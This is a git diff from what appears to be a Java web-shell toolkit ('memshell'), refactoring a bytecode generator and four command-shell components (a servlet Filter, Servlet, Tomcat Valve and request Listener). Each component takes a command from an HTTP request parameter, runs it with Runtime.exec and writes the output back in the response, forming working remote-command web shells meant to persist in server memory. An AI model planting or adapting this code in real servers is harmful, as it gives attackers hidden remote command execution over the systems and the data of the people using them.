diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java
index eb25f87e..0f90e3ba 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java
@@ -27,10 +27,16 @@ public class ListenerGenerator {
                 .name(newClassName)
                 .visit(new AsmVisitorWrapper.ForDeclaredMethods()
                         .method(named("getResponseFromRequest"),
-                                new MethodCallReplaceVisitorWrapper(newClassName, Collections.singleton(ShellCommonUtil.class.getName()))))
+                                new MethodCallReplaceVisitorWrapper(
+                                        newClassName,
+                                        Collections.singleton(ShellCommonUtil.class.getName()))
+                        )
+                )
                 .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")))
                 .make()) {
-            return unloaded.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded();
+            return unloaded
+                    .load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT)
+                    .getLoaded();
         }
     }
 }
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java
index 31d9c7e0..57e98c75 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java
@@ -23,22 +23,18 @@ public class CommandFilter implements Filter {
         HttpServletRequest servletRequest = (HttpServletRequest) request;
         HttpServletResponse servletResponse = (HttpServletResponse) response;
         String cmd = servletRequest.getParameter(paramName);
-        try {
-            if (cmd != null) {
-                Process exec = Runtime.getRuntime().exec(cmd);
-                InputStream inputStream = exec.getInputStream();
-                ServletOutputStream outputStream = servletResponse.getOutputStream();
-                byte[] buf = new byte[8192];
-                int length;
-                while ((length = inputStream.read(buf)) != -1) {
-                    outputStream.write(buf, 0, length);
-                }
-            } else {
-                chain.doFilter(servletRequest, servletResponse);
+        if (cmd != null) {
+            Process exec = Runtime.getRuntime().exec(cmd);
+            InputStream inputStream = exec.getInputStream();
+            ServletOutputStream outputStream = servletResponse.getOutputStream();
+            byte[] buf = new byte[8192];
+            int length;
+            while ((length = inputStream.read(buf)) != -1) {
+                outputStream.write(buf, 0, length);
             }
-        } catch (Exception e) {
-            chain.doFilter(servletRequest, servletResponse);
+            return;
         }
+        chain.doFilter(servletRequest, servletResponse);
     }
 
     @Override
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java
index b87fea64..cd77acd4 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java
@@ -17,26 +17,6 @@ public class CommandListener implements ServletRequestListener {
     public CommandListener() {
     }
 
-    @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
-            try {
-                field = clazz.getDeclaredField(name);
-                break;
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (field == null) {
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
-    }
-
     @Override
     public void requestDestroyed(ServletRequestEvent sre) {
 
@@ -65,4 +45,25 @@ public class CommandListener implements ServletRequestListener {
     private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
         return null;
     }
+
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
 }
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java
index e3b04893..bedfad7f 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java
@@ -22,19 +22,16 @@ public class CommandServlet extends HttpServlet {
 
     @Override
     protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
-        try {
-            String cmd = request.getParameter(paramName);
-            if (cmd != null) {
-                Process exec = Runtime.getRuntime().exec(cmd);
-                InputStream inputStream = exec.getInputStream();
-                ServletOutputStream outputStream = response.getOutputStream();
-                byte[] buf = new byte[8192];
-                int length;
-                while ((length = inputStream.read(buf)) != -1) {
-                    outputStream.write(buf, 0, length);
-                }
+        String cmd = request.getParameter(paramName);
+        if (cmd != null) {
+            Process exec = Runtime.getRuntime().exec(cmd);
+            InputStream inputStream = exec.getInputStream();
+            ServletOutputStream outputStream = response.getOutputStream();
+            byte[] buf = new byte[8192];
+            int length;
+            while ((length = inputStream.read(buf)) != -1) {
+                outputStream.write(buf, 0, length);
             }
-        } catch (Exception ignored) {
         }
     }
 }
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java
index 8c97e555..2f1d97ab 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java
@@ -41,20 +41,17 @@ public class CommandValve implements Valve {
 
     @Override
     public void invoke(Request request, Response response) throws IOException, ServletException {
-        try {
-            String cmd = request.getParameter(paramName);
-            if (cmd != null) {
-                Process exec = Runtime.getRuntime().exec(cmd);
-                InputStream inputStream = exec.getInputStream();
-                ServletOutputStream outputStream = response.getOutputStream();
-                byte[] buf = new byte[8192];
-                int length;
-                while ((length = inputStream.read(buf)) != -1) {
-                    outputStream.write(buf, 0, length);
-                }
-                return;
+        String cmd = request.getParameter(paramName);
+        if (cmd != null) {
+            Process exec = Runtime.getRuntime().exec(cmd);
+            InputStream inputStream = exec.getInputStream();
+            ServletOutputStream outputStream = response.getOutputStream();
+            byte[] buf = new byte[8192];
+            int length;
+            while ((length = inputStream.read(buf)) != -1) {
+                outputStream.write(buf, 0, length);
             }
-        } catch (Exception ignored) {
+            return;
         }
         this.getNext().invoke(request, response);
     }